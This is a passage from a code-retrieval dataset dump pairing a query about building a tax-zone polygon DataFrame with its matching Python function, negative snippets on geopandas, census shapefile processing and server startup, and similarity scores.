port=int(os.environ.get('APP_PORT', CONFIG.registry.get('app_port', 8080))),\\r\\n shutdown_timeout=0,\\r\\n ssl_context=application_security())\",\n \"def main():\\n global HEALTH_AGGREGATOR\\n\\n os.makedirs(PEM_DIR, exist_ok=True)\\n\\n if not os.path.exists(f'{os.path.join(os.getcwd(), \\\"database.db\\\")}'):\\n DB_User.create_all()\\n DB_Resource.create_all()\\n\\n User.add_user('SpiceWorks', 'HealthChecker')\\n\\n HEALTH_AGGREGATOR = HealthAggregator()\\n app.run(port=5000)\\n HEALTH_AGGREGATOR.cleanup()\",\n \"def run():\\n app = Application()\\n #app.sentry_client = AsyncSentryClient(app.settings['sentry_url'])\\n http_server = HTTPServer(app, xheaders=True)\\n http_server.listen(options.port)\\n print('Running on port %d' % options.port)\",\n \"def main(args=None):\\n pass\",\n \"def main():\\n\\ttoken = os.getenv(\\\"BOT_TOKEN\\\")\\n\\tapplication = Application.builder().token(token).read_timeout(30).write_timeout(30).build()\\n\\tload_interactions(application)\\n\\tprint(\\\"Simple Media Converter instance started!\\\")\\n\\tapplication.run_polling()\",\n \"def app():\\n return create_app()\",\n \"def main() -> None:\\r\\n parser = argparse.ArgumentParser(description='Recommender Room',\\r\\n prefix_chars='-')\\r\\n \\r\\n parser.add_argument('-v', '--verbose', required=False, action='store_true',\\r\\n help='display additional information to the terminal')\\r\\n \\r\\n parser.add_argument('-o', '--host', required=False, default=rec.HOST,\\r\\n help='select hostname or IP address for the web application')\\r\\n \\r\\n parser.add_argument('-p', '--port', type=int, required=False, default=rec.PORT,\\r\\n help='select port for the web application')\\r\\n \\r\\n parser.add_argument('-cfg', '--configuration', dest='config', required=False,\\r\\n choices=CONFIG_CHOICES, default='debug', \\r\\n help='set the appropriate configuration settings for the web application')\\r\\n \\r\\n args = parser.parse_args() \\r\\n rec_api.start_server(args)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.8601892","0.82477033","0.8174292","0.7943747","0.7931633","0.77617663","0.77617663","0.77617663","0.77537346","0.77359056","0.7666645","0.75611967","0.75611967","0.75611967","0.7544734","0.7544734","0.7457229","0.74511474","0.7445474","0.7421503","0.73614043","0.7352576","0.7342315","0.7328213","0.73198646","0.7310644","0.7283377","0.7204394","0.7198529","0.71974415","0.71974415","0.719702","0.7189361","0.7189361","0.718684","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.7169843","0.71504366","0.7146536","0.71384054","0.713195","0.7094868","0.7081486","0.7059204","0.7059204","0.7059204","0.7059204","0.7035561","0.7025798","0.7024862","0.70230275","0.70137715","0.6986254","0.69860995","0.69791514","0.69780993","0.6976445","0.6969516","0.6951491","0.6945606","0.69455546","0.69324005","0.693111","0.6891081","0.6873669","0.6863946","0.68629074","0.68591577","0.6853313","0.6853192","0.6848667","0.68416023","0.68245566","0.68221366","0.68054885","0.68053585","0.6776641","0.6772974","0.67582345","0.6750219","0.6740061"],"string":"[\n \"0.8601892\",\n \"0.82477033\",\n \"0.8174292\",\n \"0.7943747\",\n \"0.7931633\",\n \"0.77617663\",\n \"0.77617663\",\n \"0.77617663\",\n \"0.77537346\",\n \"0.77359056\",\n \"0.7666645\",\n \"0.75611967\",\n \"0.75611967\",\n \"0.75611967\",\n \"0.7544734\",\n \"0.7544734\",\n \"0.7457229\",\n \"0.74511474\",\n \"0.7445474\",\n \"0.7421503\",\n \"0.73614043\",\n \"0.7352576\",\n \"0.7342315\",\n \"0.7328213\",\n \"0.73198646\",\n \"0.7310644\",\n \"0.7283377\",\n \"0.7204394\",\n \"0.7198529\",\n \"0.71974415\",\n \"0.71974415\",\n \"0.719702\",\n \"0.7189361\",\n \"0.7189361\",\n \"0.718684\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.7169843\",\n \"0.71504366\",\n \"0.7146536\",\n \"0.71384054\",\n \"0.713195\",\n \"0.7094868\",\n \"0.7081486\",\n \"0.7059204\",\n \"0.7059204\",\n \"0.7059204\",\n \"0.7059204\",\n \"0.7035561\",\n \"0.7025798\",\n \"0.7024862\",\n \"0.70230275\",\n \"0.70137715\",\n \"0.6986254\",\n \"0.69860995\",\n \"0.69791514\",\n \"0.69780993\",\n \"0.6976445\",\n \"0.6969516\",\n \"0.6951491\",\n \"0.6945606\",\n \"0.69455546\",\n \"0.69324005\",\n \"0.693111\",\n \"0.6891081\",\n \"0.6873669\",\n \"0.6863946\",\n \"0.68629074\",\n \"0.68591577\",\n \"0.6853313\",\n \"0.6853192\",\n \"0.6848667\",\n \"0.68416023\",\n \"0.68245566\",\n \"0.68221366\",\n \"0.68054885\",\n \"0.68053585\",\n \"0.6776641\",\n \"0.6772974\",\n \"0.67582345\",\n \"0.6750219\",\n \"0.6740061\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14488,"cells":{"query":{"kind":"string","value":"Creates a DataFrame with polygones and IDs for all tax zones."},"document":{"kind":"string","value":"def createEmptyMapData():\n with open('data/taxzone.json', 'r') as f:\n taxzones = json.load(f)\n\n polygons_shape = [shape(feature['geometry']) for feature in taxzones['features']]\n names = [feature['properties']['id'] for feature in taxzones['features']]\n map_data = pd.DataFrame({'poly': polygons_shape, 'id': names})\n\n return map_data"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def taxa_data_frame(self):\n cols = list(self._taxa.keys())\n cols.remove(\"uid\")\n cols.remove(\"object\")\n df = DataFrame(self._taxa, columns=cols, index=self._taxa[\"uid\"])\n df.index.name = \"uid\"\n\n return df","def taxi_zones(path, storage_options=None):\n zdf = pd.read_csv(path, storage_options=storage_options)\n zdf = zdf.drop(\"OBJECTID\", axis=\"columns\")\n zdf = zdf.set_index(\"LocationID\")\n return zdf","def _regions(self, voronoi_diagram, unique_id, ids, crs):\n # generate DataFrame of results\n regions = pd.DataFrame()\n regions[unique_id] = ids # add unique id\n regions[\"region\"] = voronoi_diagram.point_region # add region id for each point\n\n # add vertices of each polygon\n vertices = []\n for region in regions.region:\n vertices.append(voronoi_diagram.regions[region])\n regions[\"vertices\"] = vertices\n\n # convert vertices to Polygons\n polygons = []\n for region in tqdm(regions.vertices, desc=\"Vertices to Polygons\"):\n if -1 not in region:\n polygons.append(Polygon(voronoi_diagram.vertices[region]))\n else:\n polygons.append(None)\n # save polygons as geometry column\n regions[\"geometry\"] = polygons\n\n # generate GeoDataFrame\n regions_gdf = gpd.GeoDataFrame(regions.dropna(), geometry=\"geometry\")\n regions_gdf = regions_gdf.loc[\n regions_gdf[\"geometry\"].length < 1000000\n ] # delete errors\n regions_gdf = regions_gdf.loc[\n regions_gdf[unique_id] != -1\n ] # delete hull-based cells\n regions_gdf.crs = crs\n return regions_gdf","def createTerritoryGeometries(config, start_time):\n # get the correct names for all of the provinces within each territory\n file_name = config['shape_files_path'] + config['county_shape_file_name']\n names_df = gpd.read_file(file_name)\n names_df.rename(columns={'NAMELSAD':'NAME'})\n names_df = names_df[['GEOID', 'NAME']]\n\n df_holder = []\n # read in block files for the 4 excluded US territories\n for territory in ['60','66','69','78']:\n try:\n temp_time = time.localtime()\n # open the appropriate block file for the given territory\n file_name = config['shape_files_path'] +\\\n \"block/tl_%s_%s_tabblock%s.shp\" %\\\n (config['census_vintage'],territory,config['census_vintage'][2:])\n temp_df = gpd.read_file(file_name)\n # modify the column names so they match what we expect in the tract and \n # county geojson files\n change_columns = { 'STATEFP%s' % config['census_vintage'][2:]:'state_fips', \n 'COUNTYFP%s' % config['census_vintage'][2:]: 'county_fips',\n 'GEOID%s' % config['census_vintage'][2:]:'block_fips',\n 'ALAND%s' % config['census_vintage'][2:]:'aland'}\n temp_df.rename(columns=change_columns, inplace=True)\n\n # create the tract file for the given territory\n tract_df = temp_df[['block_fips', 'aland', 'geometry']]\n tract_df['GEOID'] = tract_df['block_fips'].str[:11]\n tract_df['NAME']=tract_df['GEOID'].str[5:11]\n tract_df['NAME'] = np.where(tract_df['NAME'].str[4:6] != '00', \n tract_df['NAME'].str[:4] + \".\" + tract_df['NAME'].str[4:6], \n tract_df['NAME'].str[:4])\n\n # dissolve the blocks into tract level detail\n tract_df=tract_df[['GEOID', 'NAME', 'geometry']].loc[tract_df['aland']>0].dissolve(by='GEOID')\n tract_df.reset_index(inplace=True)\n\n # save the newly created tracts for the territory into a shape file\n # for later use by processes\n file_name = config['shape_files_path'] +\\\n \"tract/gz_%s_%s_140_00_500k.shp\" %\\\n (config['census_vintage'],territory)\n tract_df.to_file(file_name)\n\n # provide status or data processing\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 3 OF 13 - FINISHED WRITING TRACT SHAPE FILE\n FOR US TERRITORY %s\n \"\"\" % territory\n my_message = ' '.join(my_message.split()) \n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n except:\n # there was an error in processing. Capture the error and output the\n # stacktrace to the screen\n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 3 OF 13 - FAILED WRITING TRACT SHAPE FILE\n FOR US TERRITORY %s\n \"\"\" % territory \n my_message += \"\\n\" + traceback.format_exc()\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n return False\n\n try:\n # create the dataframe for capturing county level data\n temp_time = time.localtime()\n county_df = temp_df[['state_fips', 'county_fips', 'aland', 'geometry']]\n county_df['GEOID'] = county_df['state_fips'] + county_df['county_fips']\n\n # merge the block level data at the county level to get the geometry\n county_df=county_df[['GEOID', 'geometry']].loc[county_df['aland']>0].dissolve(by='GEOID')\n\n # the county records for US states include names. The names cannot\n # be easily constructed following a set of rules, so instead we just\n # merge the names of the territories that are listed in the tiger line\n # files with the geometries we just calculated. This ends up giving\n # us the information we need to create the equivalent of a fully \n # populated 2010 county cartographic file that includes territories\n county_df = county_df.merge(names_df, left_on='GEOID', right_on='GEOID')\n county_df = county_df[['GEOID', 'NAME', 'geometry']]\n\n # append the information to a list that we will process later\n df_holder.append(county_df)\n\n # provide the status on the data processing for this task\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 3 OF 13 - PROCESSED COUNTY DATA FOR\n US TERRITORY %s\n \"\"\" % territory\n my_message = ' '.join(my_message.split()) \n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n except:\n # there was an error in processing. Capture the error and output the\n # stacktrace to the screen \n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 3 OF 13 - FAILED PROCESSING COUNTY DATA\n FOR US TERRITORY %s\n \"\"\" % territory \n my_message += \"\\n\" + traceback.format_exc()\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n return False \n\n try:\n # now that we have the county level data for the territories, we need to merge\n # it with the US county data and create a single file for subsequent processing\n # open the county cartographic bounday file\n file_name = config['shape_files_path'] + config['county_cb_shape_file_name']\n county = gpd.read_file(file_name)\n\n # the cartographic boundary files do not have full names, so concatenate the \n # name and lsad columns and overwrite the original name\n county['NAME']=county['NAME'] + ' ' + county['LSAD']\n\n # extract the county fips from the non-standard county fips identifier in the\n # 2010 cartographic boundary file and then preserve only the necessary columns\n county['GEOID']=county['GEO_ID'].str[9:]\n county = county[['GEOID', 'NAME','geometry']]\n\n # append the county data to the list to be used to build the single file\n df_holder.append(county)\n\n # merge all of the dataframes into a single dataframe, sort it, and then \n # write the file out as a shape file so it can be used later for subsequent\n # data processing\n counties = pd.concat([x for x in df_holder])\n counties.sort_values(by='GEOID',inplace=True)\n file_name = config['shape_files_path'] + config['county_gzm_shape_file_name']\n counties.to_file(file_name)\n \n # provide the status on the data processing for this task\n my_message = \"\"\"\n INFO - STEP 0 (MASTER): TASK 3 OF 13 - COMPLETED UPDATING COUNTY \n CARTOGRAPHIC SHAPE FILE\n \"\"\" \n my_message = ' '.join(my_message.split()) \n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time))) \n return True \n\n except:\n # there was an error in processing. Capture the error and output the\n # stacktrace to the screen \n my_message = \"\"\"\n ERROR - STEP 0 (MASTER): TASK 3 OF 13 - FAILED UPDATING COUNTY \n CARTOGRAPHIC SHAPE FILE\n \"\"\" \n my_message += \"\\n\" + traceback.format_exc()\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\n time.mktime(time.localtime())-time.mktime(start_time)))\n return False","def makeGeoDf(self, arr: dict):\n geometry_points = [Point(x, y) for x, y in zip(arr[\"X\"], arr[\"Y\"])]\n elevetions = arr[\"Z\"]\n df = gpd.GeoDataFrame(columns=[\"elevation\", \"geometry\"])\n df['elevation'] = elevetions\n df['geometry'] = geometry_points\n df = df.set_geometry(\"geometry\")\n df.set_crs(self.output_epsg, inplace=True)\n return df","def _regions(self, voronoi_diagram, unique_id, ids, crs):\n vertices = pd.Series(voronoi_diagram.regions).take(voronoi_diagram.point_region)\n polygons = []\n for region in vertices:\n if -1 not in region:\n polygons.append(pygeos.polygons(voronoi_diagram.vertices[region]))\n else:\n polygons.append(None)\n\n regions_gdf = gpd.GeoDataFrame(\n {unique_id: ids}, geometry=polygons, crs=crs\n ).dropna()\n regions_gdf = regions_gdf.loc[\n regions_gdf[unique_id] != -1\n ] # delete hull-based cells\n\n return regions_gdf","def to_frame(self):\n return gpd.GeoDataFrame(\n data=range(0, self.nleaves),\n geometry=self.to_geom(),\n crs=self.crs,\n columns=['id'],\n )","def create_airports(data):\n \n airport_cities = pd.DataFrame(data)\n geometry = [Point(xy) for xy in zip(airport_cities.lon, airport_cities.lat)]\n airport_cities = airport_cities.drop(['lon', 'lat'], axis=1)\n crs = {'init': 'epsg:4326'}\n geo_airport_cities = gpd.GeoDataFrame(airport_cities, crs=crs, geometry=geometry)\n return geo_airport_cities","def _load_county_geometry() -> geopandas.GeoDataFrame:\n\tfilename = shapefiles_folder / \"cb_2016_us_county_500k\"\n\ttable = read_geometry(filename)\n\n\ttable['regionCode'] = [f\"{i:>02}{j:>03}\" for i, j in zip(table['STATEFP'].values, table['COUNTYFP'].values)]\n\treturn table","def to_frame(self):\n return gpd.GeoDataFrame(\n data=self.tree_ids,\n geometry=self.to_geom(),\n crs=self.crs,\n columns=['id'],\n )","def construct_polygon(self, polygon_longs: List, polygon_lats: List) -> gpd.GeoDataFrame:\n\n polygon_geom = Polygon(zip(polygon_longs, polygon_lats))\n\n crs = {'init': 'epsg:4326'}\n polygon = gpd.GeoDataFrame(index=[0], crs=crs, geometry=[polygon_geom])\n\n polygon.to_file(filename=f'{self.polygon_path}/polygon_{self.postfix}.geojson', driver='GeoJSON')\n polygon.to_file(filename=f'{self.polygon_path}/polygon_{self.postfix}.shp', driver=\"ESRI Shapefile\")\n\n self.monitor.info(\"-> Created area polygon.\")\n return polygon","def data_with_fips(self) -> pd.DataFrame:\n return self.data","def generatePolygons():","def create_table(f, geoinfo):\n bounds_cols = xb_points + yb_points\n df = pd.read_csv(f, delimiter=\";\", index_col=\"INDEX_RC\")\n df[duration_name] = parse_duration_level(f)\n df = df.join(geoinfo[[\"X_CENT_GEO\", \"Y_CENT_GEO\", \"Col\", \"Row\"]])\n df = df.rename(columns={\"Col\": x, \"Row\": y, \"X_CENT_GEO\": lon, \"Y_CENT_GEO\": lat})\n return df","def hexlist_to_geodataframe(list_hexagons):\n df=pd.DataFrame(list_hexagons, columns=['hexid'])\n def f(x):\n #return h3.h3_to_geo_boundary(h3_address=x['hexid'],geo_json=False)\n return hex_to_polygon(x['hexid'])\n\n gdf = gpd.GeoDataFrame(df, geometry=df.apply(f, axis=1))\n return gdf","def convert_shapefiles_to_dataframe(self, shapefiles: List[Shapefile]):\n # Avoid needless encoding warnings\n os.environ['CPL_ZIP_ENCODING'] = 'UTF-8'\n subsets = []\n # Drop null values (e.g., for not-yet-released shapefiles) from list of filepaths\n filepaths = filter(None, shapefiles)\n for filepath in filepaths:\n try:\n subset = load_geodataframe(filepath)\n except BadZipFile:\n logger.warning(\n f'Warning: Failed to load zip file {filepath}. It may be corrupted. You might '\n 'try clearing your autocensus cache by calling autocensus.clear_cache() or '\n f'manually deleting the cache folder at {CACHE_DIRECTORY_PATH}. Continuing…'\n )\n continue\n subsets.append(subset)\n dataframe = pd.concat(subsets, ignore_index=True, sort=True)\n\n # Geometry columns\n if self.geometry == 'polygons':\n dataframe['geometry'] = (\n dataframe['geometry'].map(coerce_polygon_to_multipolygon).map(flatten_geometry)\n )\n\n # Clean up\n affgeoid_field = identify_affgeoid_field(dataframe.columns)\n columns_to_keep = [affgeoid_field, 'year', 'geometry']\n dataframe = dataframe.loc[:, columns_to_keep]\n return dataframe","def convert_data (data_taxi,density):\n \n n_trips = len(data_taxi)\n \n min_longitude = min(min(list(data_taxi.loc[:,'pickup_longitude'])),\n min(list(data_taxi.loc[:,'dropoff_longitude'])))\n max_longitude = max(max(list(data_taxi.loc[:,'pickup_longitude'])),\n max(list(data_taxi.loc[:,'dropoff_longitude'])))\n min_latitude = min(min(list(data_taxi.loc[:,'pickup_latitude'])),\n min(list(data_taxi.loc[:,'dropoff_latitude'])))\n max_latitude = max(max(list(data_taxi.loc[:,'pickup_latitude'])),\n max(list(data_taxi.loc[:,'dropoff_latitude'])))\n \n e_longitude = max_longitude - min_longitude\n \n e_latitude = max_latitude - min_latitude\n \n scale =np.sqrt( n_trips/( e_longitude* e_latitude * density) )\n\n taxis = []\n \n for i in range(n_trips):\n selected_taxi = data_taxi.iloc[i]\n departure = [int((selected_taxi.pickup_longitude - min_longitude) * scale),\n int((selected_taxi.pickup_latitude - min_latitude) * scale),\n ]\n \n arrival = [\n int((selected_taxi.dropoff_longitude - min_longitude) * scale),\n int((selected_taxi.dropoff_latitude - min_latitude) * scale)]\n \n taxis.append(taxi(departure,arrival,departure))\n return taxis,int(scale*(e_latitude))+1,int(scale*(e_longitude))+1","def df_customers_features_build(self):\n\n df_customers_rfm = self._df_customers_rfm.copy()\n df_customers_timeFeature = self._df_customers_timeFeature.copy()\n df_customers_nlp = self._df_customers_pca_nlp.copy()\n\n #-------------------------------------------------------------------------\n # Dataframe are aggregated; note that indexes are customerID.\n #-------------------------------------------------------------------------\n df_customers = pd.DataFrame()\n\n df_customers = pd.concat([df_customers,df_customers_rfm], axis=1)\n\n df_customers = pd.concat([df_customers,df_customers_timeFeature]\\\n , join='inner', axis=1)\n\n df_customers = pd.concat([df_customers,df_customers_nlp]\\\n , join='inner', axis=1)\n \n self.strprint(\"All features : \"+str(df_customers.shape))\n self._df_customers = df_customers.copy()\n return","def get_usa_states_geo_df() -> geopandas.GeoDataFrame:\n\n geo_df: geopandas.GeoDataFrame = geopandas.read_file(\n GEO_DATA_DIR / \"cb_2017_us_state_20m\" / \"cb_2017_us_state_20m.shp\"\n ).rename(columns={\"STUSPS\": CODE}, errors=\"raise\")\n\n geo_df = geo_df[\n [\n \"STATEFP\",\n # \"STATENS\",\n # \"AFFGEOID\",\n # \"GEOID\",\n CODE,\n # \"NAME\",\n \"LSAD\",\n # \"ALAND\",\n # \"AWATER\",\n \"geometry\",\n ]\n ]\n\n return geo_df","def join_with_zones(taxi_rides_df, taxi_zones_df):\n # inner join on pickup location id, drop duplicate columns\n taxi_rides_df = taxi_rides_df.merge(taxi_zones_df, how=\"inner\",\n left_on=\"PULocationID\",\n right_on=\"LocationID\",\n right_index=True)\n taxi_rides_df = taxi_rides_df.drop(\"PULocationID\", axis=\"columns\")\n # inner join on drop off location id, drop duplicate columns\n taxi_rides_df = taxi_rides_df.merge(taxi_zones_df, how=\"inner\",\n left_on=\"DOLocationID\",\n right_on=\"LocationID\",\n suffixes=[\"_PU\", \"_DO\"],\n right_index=True)\n taxi_rides_df = taxi_rides_df.drop(\"DOLocationID\", axis=\"columns\")\n return taxi_rides_df","def get_zone_list(self, building_id: str) -> DataFrame:\n raw = self._get_zone_list(building_id)\n if raw:\n return ensure_camel_columns(read_json(json.dumps(raw)).set_index(\"id\"))\n raise IOError(\"Empty response from web request.\")","def get_places() -> DataFrame:\n df = pd.read_csv('./data/geoplaces2.csv', encoding='utf-8')\n\n # drop useless columns\n df.drop(columns=['the_geom_meter', 'name', 'address',\n 'city', 'state', 'country', 'fax',\n 'zip', 'url', 'accessibility', 'franchise',\n 'other_services'],\n inplace=True)\n\n # select categorical column names\n categorical_columns = [column for column in df.columns\n if df[column].dtype.name == 'object'\n if column not in ['userID', 'smoker']]\n\n # replace categorical columns with one hot encoding\n for column_name in categorical_columns:\n dummies = pd.get_dummies(df[column_name])\n\n for dummy_column_name in dummies.columns:\n df[column_name + \"_\" + dummy_column_name] = dummies[dummy_column_name]\n\n df.drop(columns=[column_name], inplace=True)\n\n categorical_columns = [column for column in df.columns if df[column].dtype.name == 'object']\n\n for column in categorical_columns:\n df[column] = df[column].astype('category')\n\n df_cuisine = get_place_secondary_df('cuisine', 'Rcuisine')\n df_payment = get_place_secondary_df('accepts', 'Rpayment')\n df_hours = get_place_hours()\n\n payment_columns = list(filter(lambda x: x.startswith(\"Raccepts_\"), df_payment.columns))\n\n # some restaurants don't have specified payment ... but why\n # left join payment options and set cash option\n new_df = df.merge(df_payment, on='placeID', how='left')\n new_df[payment_columns] = new_df[payment_columns].fillna(0)\n new_df['Raccepts_cash'] = 1\n\n # left join cuisines and fill missing values with 0\n new_df = new_df.merge(df_cuisine, on='placeID', how='left')\n cuisine_columns = list(filter(lambda x: \"Rcuisine\" in x, new_df.columns))\n new_df[cuisine_columns] = new_df[cuisine_columns].fillna(0)\n\n new_df = new_df.merge(df_hours, on='placeID', how='inner')\n\n return new_df","def create_geodata(x):\n list_len = len(x)\n pilot_log = pd.concat(x[i][['time','Cn0DbHz','svid','geometry']] for i in range(list_len))\n \n return pilot_log","def createDataFrames(self):\n self._atmDF = pd.DataFrame.from_dict(self._atmDict, orient='index')\n \n self._clientDF = pd.DataFrame.from_dict(self._clientDict, orient='index')\n self._clientDF['longAccount'] = self._clientDF.client.map(str) +\\\n '_' + self._clientDF.account.map(str)\n \n self._transactionDF = pd.DataFrame.from_dict(self._transactionDict, orient='index')","def _extract_geographical_patterns(self):\n # take onehot encoding of zipcodes\n onehot = pd.get_dummies(self.df_transaction['zipcode'], prefix='zipcode')\n rider_id = pd.DataFrame(data={'riderID': self.df_transaction['riderID']})\n frames = [rider_id, onehot]\n df_onehot = pd.concat(frames, axis=1)\n\n # count zipcodes\n df_rider_geo_count = df_onehot.groupby(['riderID'])[list(onehot.columns.values)].sum().reset_index()\n df_rider_geo_count['geo_row_sum'] = df_rider_geo_count.iloc[:, 1:].sum(axis=1)\n\n return df_rider_geo_count","def get_countries_geo_df() -> geopandas.GeoDataFrame:\n\n geo_df: geopandas.GeoDataFrame = geopandas.read_file(\n GEO_DATA_DIR / \"ne_110m_admin_0_map_units\" / \"ne_110m_admin_0_map_units.shp\"\n )\n\n geo_df = geo_df.rename(columns={\"ADMIN\": CODE}, errors=\"raise\")\n\n # Keys are what's in the geo df, values are what we want to rename them to\n # Values must match the names in the original data source. If you don't like those\n # names, change them there and then come back and change the values here.\n geo_df[CODE] = (\n geo_df[CODE]\n .map(\n {\n \"Central African Republic\": \"Central African Rep.\",\n \"Democratic Republic of the Congo\": \"Dem. Rep. Congo\",\n \"Equatorial Guinea\": \"Eq. Guinea\",\n \"eSwatini\": \"Eswatini\",\n \"Georgia (Country)\": \"Georgia\",\n \"Republic of Serbia\": \"Serbia\",\n \"United Arab Emirates\": \"UAE\",\n \"United Kingdom\": \"Britain\",\n \"United Republic of Tanzania\": \"Tanzania\",\n \"Western Sahara\": \"W. Sahara\",\n \"United States of America\": \"United States\",\n }\n )\n .fillna(geo_df[CODE])\n )\n geo_df = geo_df[geo_df[CODE] != \"Antarctica\"]\n\n colonial_power_main_countries = {\n \"Britain\": \"England\",\n \"France\": \"France, Metropolitan\",\n \"Norway\": \"Norway\",\n \"Papua New Guinea\": \"Papua New Guinea\",\n }\n\n is_main_country_idx = geo_df[CODE].map(colonial_power_main_countries).isna() | (\n geo_df[\"NAME_SORT\"] == geo_df[CODE].map(colonial_power_main_countries)\n )\n\n geo_df[CODE] = geo_df[CODE].where(\n is_main_country_idx, geo_df[CODE].str.cat(geo_df[\"NAME_SORT\"], sep=\" - \"),\n )\n geo_df[\"name\"] = geo_df[CODE]\n\n geo_df = geo_df[\n [\n \"featurecla\",\n \"scalerank\",\n \"LABELRANK\",\n # \"SOVEREIGNT\",\n # \"SOV_A3\",\n # \"ADM0_DIF\",\n \"LEVEL\",\n # \"TYPE\",\n CODE,\n \"name\",\n # \"ADM0_A3\",\n # \"GEOU_DIF\",\n # \"GEOUNIT\",\n # \"GU_A3\",\n # \"SU_DIF\",\n # \"SUBUNIT\",\n # \"SU_A3\",\n # \"BRK_DIFF\",\n # \"NAME\",\n # \"NAME_LONG\",\n # \"BRK_A3\",\n # \"BRK_NAME\",\n # \"BRK_GROUP\",\n \"ABBREV\",\n # \"POSTAL\",\n # \"FORMAL_EN\",\n # \"FORMAL_FR\",\n # \"NAME_CIAWF\",\n # \"NOTE_ADM0\",\n # \"NOTE_BRK\",\n \"NAME_SORT\",\n # \"NAME_ALT\",\n # \"MAPCOLOR7\",\n # \"MAPCOLOR8\",\n # \"MAPCOLOR9\",\n # \"MAPCOLOR13\",\n # \"POP_EST\",\n # \"POP_RANK\",\n # \"GDP_MD_EST\",\n # \"POP_YEAR\",\n # \"LASTCENSUS\",\n # \"GDP_YEAR\",\n \"ECONOMY\",\n \"INCOME_GRP\",\n # \"WIKIPEDIA\",\n # \"FIPS_10_\",\n # \"ISO_A2\",\n # \"ISO_A3\",\n # \"ISO_A3_EH\",\n # \"ISO_N3\",\n # \"UN_A3\",\n # \"WB_A2\",\n # \"WB_A3\",\n # \"WOE_ID\",\n # \"WOE_ID_EH\",\n # \"WOE_NOTE\",\n # \"ADM0_A3_IS\",\n # \"ADM0_A3_US\",\n # \"ADM0_A3_UN\",\n # \"ADM0_A3_WB\",\n \"CONTINENT\",\n \"REGION_UN\",\n \"SUBREGION\",\n \"REGION_WB\",\n # \"NAME_LEN\",\n # \"LONG_LEN\",\n # \"ABBREV_LEN\",\n # \"TINY\",\n # \"HOMEPART\",\n # \"MIN_ZOOM\",\n # \"MIN_LABEL\",\n # \"MAX_LABEL\",\n # \"NE_ID\",\n # \"WIKIDATAID\",\n # \"NAME_AR\",\n # \"NAME_BN\",\n # \"NAME_DE\",\n # \"NAME_EN\",\n # \"NAME_ES\",\n # \"NAME_FR\",\n # \"NAME_EL\",\n # \"NAME_HI\",\n # \"NAME_HU\",\n # \"NAME_ID\",\n # \"NAME_IT\",\n # \"NAME_JA\",\n # \"NAME_KO\",\n # \"NAME_NL\",\n # \"NAME_PL\",\n # \"NAME_PT\",\n # \"NAME_RU\",\n # \"NAME_SV\",\n # \"NAME_TR\",\n # \"NAME_VI\",\n # \"NAME_ZH\",\n \"geometry\",\n ]\n ]\n\n return geo_df","def planes(self):\n\n results = []\n for sz in self.shearzones:\n point_cloud = self.get_shearzone(sz=sz, coords=\"gts\")\n n_pts = point_cloud.shape[1]\n centroid = np.sum(point_cloud, axis=1) / n_pts\n normal = fit_normal_to_points(point_cloud)\n\n data = np.atleast_2d(np.hstack((centroid, normal)))\n columns = (\"x_c\", \"y_c\", \"z_c\", \"n_x\", \"n_y\", \"n_z\")\n frame = pd.DataFrame(data=data, columns=columns)\n frame[\"shearzone\"] = sz\n results.append(frame)\n\n df = pd.concat(results, ignore_index=True)\n return df","def generateTripsAndZoneDist(filename, numDataSets, percentUsing):\n\n data = pd.read_csv(filename).values\n zoneData = pd.read_csv(\"taxi_zones/zone_lookup.csv\").values\n\n # Making time distribution and zone distributions\n timeDistribution = np.zeros(24)\n zoneDistribution = {k: 0 for k in range(1,zoneData[-1][0] + 1)}\n for d in data:\n timeDistribution[d[0]] += 1\n zoneDistribution[d[2]] += 1\n zoneDistribution[d[3]] += 1\n\n total = len(data)\n for i in range(24):\n timeDistribution[i] /= total\n for i in range(1,zoneData[-1][0] + 1):\n zoneDistribution[i] /= (2 * total)\n\n # n = number of data points divided by (30 * number of datasets) * 0.02 (2% of population uses it)\n n = int(len(data) / (30 * numDataSets) * percentUsing)\n\n # Sample trips according to time distribution\n sample = np.random.choice(np.arange(0, 24), size=n, p=timeDistribution)\n\n # Randomly sample existing trips and add them to new list\n trips = []\n for time in range(24):\n indices = np.random.choice(len(data[data[:, 0] == time]), size=len(sample[sample == time]))\n trips.extend(data[data[:, 0] == time][indices])\n\n return np.array(trips), zoneDistribution","def get_individual_df(nombre):\n clusters = []\n contadores = []\n for k, v in mydic[nombre][\"contador\"].items():\n clusters.append(k)\n contadores.append(v)\n return pd.DataFrame({\"CODIGO_POSTAL\": clusters, f\"contadores_{nombre}\": contadores})","def creat_df(urlist):\n country = []\n head = []\n for i in range(len(urlist)):\n country.append(urlist[i][2])\n head.append(urlist[i][4])\n df = pd.DataFrame.from_dict({\"Country\": country, \"Head\": head})\n return df","def 